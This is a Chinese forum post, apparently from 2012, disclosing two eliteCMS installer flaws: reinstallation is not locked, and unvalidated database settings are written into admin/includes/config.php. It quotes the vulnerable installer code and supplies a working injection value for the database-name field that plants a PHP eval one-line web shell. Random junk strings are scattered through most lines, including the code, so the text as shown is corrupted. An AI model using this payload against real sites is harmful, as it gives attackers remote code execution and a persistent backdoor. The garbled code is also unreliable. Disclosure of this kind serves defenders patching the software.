找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2208|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装5 w; G9 Z; A0 d8 i, H9 D
$ W4 J6 K6 J* f- S6 ~8 {
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
! m& U5 y/ i9 C1 _我们来看代码:) _; a2 [2 [* i; }/ @

+ r8 K0 t- \8 Q) R$ J# x! t...
! G: f. B. v) c8 {4 welseif ($_GET['step'] == "4") {
5 J9 a% ?/ j. h2 c7 p1 m1 H4 ~( l9 ~    $file = "../admin/includes/config.php";
$ S# Q" u" q( K0 d& R/ G    $write = "<?php\n";5 Y/ J' W+ {7 Z
    $write .= "/**\n";
0 G& j5 q' g0 ^0 O/ b& u    $write .= "*\n";
+ H- T9 c0 U: k    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* u8 X( J( V' D" x# Y! o...略...
$ z/ _8 d  b' j) u    $write .= "*\n";: _% E, m/ E1 x( V9 O
    $write .= "*/\n";
+ {9 ?# o5 _( u5 n2 ?; z* i* u    $write .= "\n";4 t- Y+ z: Z0 `3 M
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";5 R6 ?5 }7 e3 I$ V% F2 |  u* ^0 x
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( @; O* |& |4 u; t    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
7 `# d( |% [( m' E) X+ @8 V    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";) @$ [6 y( z: u
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
5 z/ X0 ?; {+ m8 Q    $write .= "if (!\$connection) {\n";
0 X) x% J0 _; A% g/ l" \    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
* K$ U5 R. m3 k. L    $write .= "        \n";+ U2 e4 b1 ]+ P$ E
    $write .= "} \n";/ r) E% G$ q  C% @9 G8 ]9 J* L2 B
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";3 @4 y: S6 h3 B( x3 }# l! a
    $write .= "if (!\$db_select) {\n";$ K6 ?- ?; r$ `# \
    $write .= "        die(\"Database select failed\" .mysql_error());\n";+ j( P( `  {" j  I! Q/ ~; p& G1 F# h$ ~
    $write .= "        \n";
) Q; U- V, }  o, b! O    $write .= "} \n";- s5 K3 \# _) b/ G
    $write .= "?>\n";+ \* J0 I3 _) H1 |
1 i$ F: ]1 q1 s; h/ {. F7 z
    $writer = fopen($file, 'w');" G/ `) g* g1 \
...9 T9 ~) C* h4 }) d: ]3 S

" Q  R% @& v2 M0 }+ l& ~在看代码:8 s3 h8 m; N' \# S1 r: R
3 f4 N" `1 i0 Z0 a  H+ c$ i1 k
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 |) l4 _7 @7 t+ u( }% ~1 T: l' u: ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];. o2 t. i/ q' I6 n
$_SESSION['DB_USER'] = $_POST['DB_USER'];! r/ F/ e$ I& W, B/ {' S
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];* ^1 D! o7 B$ {) p+ A3 |

2 k) B! n# m  U8 M取值未作任何验证
3 }2 P3 y/ W$ T' s+ X如果将数据库名POST数据:
  Q0 A* }, r4 f! x$ B9 ~, x
1 _/ j- n  m  L. T% ]"?><?php eval($_POST[c]);?><?php5 e; ^- ?- J1 h

1 d7 s, ^" m* w7 r4 i将导致一句话后门写入/admin/includes/config.php
6 u* d6 F3 s! x$ B+ _6 ~' t2 T6 G' {2 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表